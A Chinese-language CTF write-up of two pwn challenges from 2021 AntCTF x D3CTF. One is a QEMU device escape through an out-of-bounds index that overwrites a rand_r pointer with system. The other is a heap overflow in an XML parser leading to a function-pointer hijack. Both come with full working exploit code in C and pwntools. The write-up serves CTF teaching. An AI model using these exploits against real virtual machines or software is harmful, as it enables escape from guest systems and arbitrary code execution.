2021 AntCTF x D3CTF 部分PWN WriteUp

 

 

d3dev-revenge

分析

首先看一下启动脚本

#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null

我们看到这里的device的名称是d3devida看一下相关的函数,发现存在mmio/pmio两种方式,分别分析一下,首先看一下pmio_read

uint64_t __fastcall d3dev_pmio_read(void *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax

  if ( addr > 0x18 )
    result = -1LL;
  else
    result = ((__int64 (__fastcall *)(void *))((char *)dword_7ADF30 + dword_7ADF30[addr]))(opaque);
  return result;
}

这里看发生了一个未知的调用,采用的应该是函数表的形式,不过这里不重要,接下来看一下pmio_write

void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr cmd, uint64_t val, unsigned int size)
{
  uint32_t *v4; // rbp

  if ( cmd == 8 )
  {
    if ( val <= 0x100 )
      opaque->seek = val;                       // 设定seek
  }
  else if ( cmd > 8 )
  {
    if ( cmd == 0x1C )                          // 随机生成key
    {
      opaque->r_seed = val;
      v4 = opaque->key;
      do
        *v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
                  &opaque->r_seed,
                  0x1CLL,
                  val,
                  *(_QWORD *)&size);
      while ( v4 != (uint32_t *)&opaque->rand_r );
    }
  }
  else if ( cmd )
  {
    if ( cmd == 4 )                             // 清空两个key
    {
      *(_QWORD *)opaque->key = 0LL;
      *(_QWORD *)&opaque->key[2] = 0LL;
    }
  }
  else
  {
    opaque->memory_mode = val;
  }
}

这里涉及到了d3devState数据结构,看一下

00000000 d3devState      struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev            PCIDevice_0 ?
000008E0 mmio            MemoryRegion_0 ?
000009D0 pmio            MemoryRegion_0 ?
00000AC0 memory_mode     dd ?
00000AC4 seek            dd ?
00000AC8 init_flag       dd ?
00000ACC mmio_read_part  dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed          dd ?
00000AD8 blocks          dq 257 dup(?)
000012E0 key             dd 4 dup(?)
000012F0 rand_r          dq ?                    ; offset
000012F8                 db ? ; undefined
000012F9                 db ? ; undefined
000012FA                 db ? ; undefined
000012FB                 db ? ; undefined
000012FC                 db ? ; undefined
000012FD                 db ? ; undefined
000012FE                 db ? ; undefined
000012FF                 db ? ; undefined
00001300 d3devState      ends

这里是根据cmd的值来达到不同的功能

  • cmd=8,设定seek的值,这里的seek<0x100
  • cmd=0x1c,更新加解密所需要的key,这里是直接调用的数据结构中的rand_r函数指针来完成的
  • cmd=4,这里清空了key,所有的key均为0,注意到这里其实我们就可以实现加解密了,因为所有的key都是0

接下来看一下mmio_read

uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t v; // rax
  int sum; // esi
  unsigned int v1; // ecx
  uint64_t v0; // rax

  v = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];
  sum = 0xC6EF3720;
  v1 = v;
  v0 = HIDWORD(v);
  do
  {
    LODWORD(v0) = v0 - ((v1 + sum) ^ (opaque->key[3] + (v1 >> 5)) ^ (opaque->key[2] + 16 * v1));
    v1 -= (v0 + sum) ^ (opaque->key[1] + ((unsigned int)v0 >> 5)) ^ (opaque->key[0] + 16 * v0);
    sum += 0x61C88647;
  }
  while ( sum );
  if ( opaque->mmio_read_part )
  {
    opaque->mmio_read_part = 0;
    v0 = (unsigned int)v0;
  }
  else
  {
    opaque->mmio_read_part = 1;
    v0 = v1;
  }
  return v0;
}

这里是根据输入的addr>>3作为offset读取blocks中的相关内容,读取的内容进行了加密处理,很容易可以看出来这里的加密算法是tea的解密算法。tea的加解密算法可以参考这里

需要注意的这里需要读取两次才能够获得完整的加密8字节数据。接下来看一下mmio_write

void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  __int64 offset; // rsi
  ObjectClass_0 **opaque_address; // r11
  uint64_t v6; // rdx
  int v7; // esi
  uint32_t key0; // er10
  uint32_t key1; // er9
  uint32_t key2; // er8
  uint32_t key3; // edi
  unsigned int v12; // ecx
  uint64_t result; // rax

  if ( size == 4 )
  {
    offset = opaque->seek + (unsigned int)(addr >> 3);
    if ( opaque->mmio_write_part )
    {
      opaque_address = &opaque->pdev.qdev.parent_obj.class + offset;
      v6 = val << 32;
      v7 = 0;
      opaque->mmio_write_part = 0;
      key0 = opaque->key[0];
      key1 = opaque->key[1];
      key2 = opaque->key[2];
      key3 = opaque->key[3];
      v12 = v6 + *((_DWORD *)opaque_address + 0x2B6);
      result = ((unsigned __int64)opaque_address[0x15B] + v6) >> 32;
      do
      {
        v7 -= 0x61C88647;
        v12 += (v7 + result) ^ (key1 + ((unsigned int)result >> 5)) ^ (key0 + 16 * result);
        LODWORD(result) = ((v7 + v12) ^ (key3 + (v12 >> 5)) ^ (key2 + 16 * v12)) + result;
      }
      while ( v7 != 0xC6EF3720 );
      opaque_address[0x15B] = (ObjectClass_0 *)__PAIR64__(result, v12);
    }
    else
    {
      opaque->mmio_write_part = 1;
      opaque->blocks[offset] = (unsigned int)val;
    }
  }
}

这里与mmio_read类似,虽然这里的ida反汇编显示有点问题,但是根据调试可以知道这里的功能就是将用户输入的数据进行解密。解密算法就是tea的加密算法(反向理解也可以,写入加密,读取解密)将解密后的数据写入到blocks[seek+offset]中。这里也提供了直接写入的 分支,不过只能写入四子节。

利用

这里可以很明显的发现一个索引越界漏洞,即seek最大为0x100,但是对用户输入的offset没有进行限制,而blocks的大小为0x101,也就是这里可以直接越界对d3devState结构体进行读写。

很容易的我们发现可以读取器中的rand_r函数指针泄漏出libc的基址,进而得到system的地址,然后可以将rand_r函数指针覆写为system,之后在进行pmio_write中调用rand_r函数指针即可执行命令。

EXP

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char* mmio_mem;
uint32_t mmio_addr = 0xfebf1000;
uint32_t mmio_size = 0x800;
int32_t pmio_base = 0xc040;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

void mmio_write(uint64_t addr, uint64_t value, int choice)
{
    if (choice == 0){
        *((uint8_t*)(mmio_mem + addr)) = value;
    }
    else if (choice == 1){
        *((uint16_t*)(mmio_mem + addr)) = value;
    }
    else if (choice == 2){
        *((uint32_t*)(mmio_mem + addr)) = value;
    }
    else if (choice == 3){
        *((uint64_t*)(mmio_mem + addr)) = value;
    }
}

uint64_t mmio_read(uint32_t addr, int choice)
{
    if(choice == 0){
        return *((uint8_t*)(mmio_mem + addr));
    }
    else if(choice == 1){
        return *((uint16_t*)(mmio_mem + addr));
    }
    else if(choice == 2){
        return *((uint32_t*)(mmio_mem + addr));
    }
    else if(choice == 3){
        return *((uint64_t*)(mmio_mem + addr));
    }
}

void pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,pmio_base + addr);
}

uint8_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(pmio_base + addr);
}
//加密函数  
void my_tea_encrypt (uint32_t* v, uint32_t* k) {  
    uint32_t v0=v[0], v1=v[1];
    int sum=0xC6EF3720, i;           /* set up */  
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */  
    do{
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);  
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);  
        sum += 0x61C88647;  
    }while(sum);                                            /* end cycle */  
    v[0]=v0; v[1]=v1;  
} 
//解密函数  
void my_tea_decrypt (uint32_t* v, uint32_t* k) {  
    uint32_t v0=v[0], v1=v[1];
    int sum=0, i;  /* set up */  
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */  
    do{
        sum -= 0x61C88647;  
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);  
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);  
    }while(sum != 0xC6EF3720);                                              /* end cycle */  
    v[0]=v0; v[1]=v1;
}


int main(){
  system( "mknod -m 660 /dev/mem c 1 1" );

  mmio_mem = mem_map("/dev/mem", mmio_addr, mmio_size);
  if (!mmio_mem){
      die("mmio or vga mmap failed");
  }
  printf("get process address\n");
  if(iopl(3)!=0){
    printf("iopl 3 failed\n");
    exit(0);
  }
  pmio_write(4, 0);
  pmio_write(8, 0x100);

  uint32_t res[2];

  res[0] = mmio_read(3 << 3, 2);
  res[1] = mmio_read(3 << 3, 2);
  printf("%p %p\n", res[0], res[1]);

  uint32_t  key[4] = {0};
  my_tea_decrypt(res, key);
  printf("%p %p\n", res[0], res[1]);
  uint64_t randr_address = ((uint64_t )res[1]) << 32;
  randr_address += res[0];
  printf("rand address is %p\n", randr_address);

  uint64_t libc_address = randr_address - 0x4aeb0;
  uint64_t system_address = libc_address + 0x55410;
  printf("system address is %p\n", system_address);

  res[0] = system_address & 0xffffffff;
  res[1] = system_address >> 32;
  my_tea_encrypt(res, key);
  uint64_t en_system_address = ((uint64_t )res[1]) << 32;
  en_system_address += res[0];
  printf("enc system address is %p\n", en_system_address);
  getchar();
  mmio_write(3 << 3, en_system_address, 3);

  res[1] = 0x67616c66;
  res[0] = 0x20746163;
  my_tea_encrypt(res, key);
  uint64_t enc_sh = ((uint64_t )res[1]) << 32;
  enc_sh += res[0];
  pmio_write(8, 0);
  mmio_write(0, enc_sh , 3);

  pmio_write(0x1c, 0x2620736c);
}

 

Truth

分析

直接给出了源代码,程序提供了四种功能

while (1)
    {
        menu();
        cin >> choice;
        switch (choice)
        {
        case 1:
            char temp;
            cout << "Please input file's content" << endl;
            while (read(STDIN_FILENO, &temp, 1) && temp != '\xff')
            {
                xmlContent.push_back(temp);
            }
            xmlfile.parseXml(xmlContent);
            break;

        case 2:
            cout << "Please input the node name which you want to edit" << endl;
            cin >> nodeName >> content;
            xmlfile.editXML(nodeName, content);
            break;

        case 3:
            pnode(*xmlfile.node->begin(), "");
            break;

        case 4:
            cout << "MEME" << endl;
            cin >> nodeName;
            if (auto temp = pnode(*xmlfile.node->begin(), "", nodeName)) 
                temp->meme(temp->backup);
            break;

        default:
            break;
        }

这里大致说一下,首先是parseXML函数,函数会根据xml的格式依次递归解析,每个标签都是一个node,用结构体XML_NODE来进行表示。在parse过程中最值得注意的就是XML_NODE::parseNodeContents中的处理逻辑

while (*current)
    {
        switch (*current)
        {
        /*
        case CHARACTACTERS::LT:
        case CHARACTACTERS::NEWLINE:
                case CHARACTACTERS::BLANK:
        */
        default:
        {
            auto lt = iterFind(current, CHARACTACTERS::LT);
            data = std::make_shared <std::string>(current, lt);
            backup = (char*)malloc(0x50);
            current = lt;
            break;
        }

        }
    }

该函数在处理完标签的左半部分的时候发生调用如果没有遇到上述的三种情况也就是<\n,空格三种字符的情况下就会进行堆块的分配,这里共分配了两个堆块,第一个我称之为content堆块,该堆块的大小由当前字符到最近的一个<之间的距离决定,第二个是固定的堆块为backup

接下来看一下edit函数,首先根据用户输入的名称找到对应的Node结构体,接着检查了node->data中的字符的长度

char* XML_NODE::isInsertable(int x)
{
    if (x > 0x50 || x < 0)
    {
        return nullptr;
    }
    return backup;
}

即需要小于0x50,接着就会将data中的数据拷贝到backup中,并将data更新为用户输入的content

for (int i = 0; i < a->data->length(); i++)
{
  a->backup[i] = (*a->data)[i];
}
*(a->data) = content;

接着看一下第三个功能也就是show函数,这里通过pnode函数打印出了用户指定的Node结构体的内容,包含xml中的属性字段以及data

接着就是最后一个函数,类似于一个后门函数,调用了结构体中的一个函数指针,打印出了backup的内容

利用

这里可能是优化导致的问题,edit函数中的针对data的长度检查失效了,导致用户针对backup可以任意长度的堆溢出。而从调试中我们可以发现如果我们输入下面的XMLbackup堆块相邻的位置存在一个node结构体

<Lin 1="111">
  data
<Lin2>
/bin/sh
</Lin2>
</Lin>

也就是backup堆块与Lin2结构体相邻。这里我们就可以直接覆写结构体了,一个Node结构体的布局如下

pwndbg> x/30gx 0xab0c30-0x20
0xab0c10:       0x0000000000000000      0x00000000000000a1
0xab0c20:       0x00000000004054e0      0x0000000100000002
0xab0c30:       0x0000000000405340(meme函数指针存储地址)      0x0000000000ab0c48 堆地址
0xab0c40:       0x0000000000000003      0x00007fff006e694c
0xab0c50:       0x00007fffec193a00      0x0000000000000000
0xab0c60:       0x0000000000000000      0x0000000000ab11d0
0xab0c70:       0x0000000000ab11d0      0x0000000000ab11d0
0xab0c80:       0x0000000000000001      0x0000000000ab0e40
0xab0c90:       0x0000000000ab0e30      0x0000000000ab1390
0xab0ca0:       0x0000000000ab1380      0x0000000000ab0f00(backup)

根据结构体中的指针泄漏得到heap address,接着覆写结构体中的函数指针,利用第四个函数getshell

这里还差一个libc基地址的泄露。这里也可以根据backup得到,在data = std::make_shared <std::string>(current, lt);语句执行完毕之后会产生一个和data大小相同的堆块,如果此堆块为unsorted bin,那么我们可以直接通过打印backup来泄漏得到libc基地址。

EXP

    # encoding=utf-8
from pwn import *

file_path = "./Truth"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]

else:
    p = remote('106.14.216.214', 45116)
    libc = ELF('./libc-2.23.so')
    one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]


def parse(file_content):
    p.sendlineafter("Choice: ", "1")
    p.sendafter("file's content\n", file_content)
    p.sendline("\xff")


def edit(name, content):
    p.sendlineafter("Choice: ", "2")
    p.sendlineafter("to edit\n", name)
    p.sendline(content)


def show():
    p.sendlineafter("Choice: ", "3")


def show_backup(name):
    p.sendlineafter("Choice: ", "4")
    p.sendlineafter("MEME", name)


file_content = '''
<?xml?>

<Lin 1="{}">
<Lin2>
/bin/sh
</Lin2>
<Lin3>
/bin/sh
</Lin3>
'''.format("a"*0x500)
file_content += "a" * 0x70 + "b"*0x7
file_content += '''
<Lin4>
/bin/sh
</Lin4>
</Lin>
'''

parse(file_content)
show_backup("Lin")
p.recvuntil("Useless")
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 88 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))

edit("Lin", "1212")
show_backup("Lin")
p.recvuntil("b" * 0x7)
p.recvline()
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success("heap address is {}".format(hex(heap_address)))

edit("Lin3", b"/bin/sh\x00" + p64(one_gadget[3] + libc.address))
edit("Lin3", b"/bin/sh\x00" + p64(one_gadget[3] + libc.address))

payload = b"a"*0x70 + p64(heap_address- 0x1e0)
edit("Lin", payload)
edit("Lin", payload)

show_backup("Lin4")

p.interactive()

 

参考

TEA、XTEA、XXTEA加密解密算法

(完)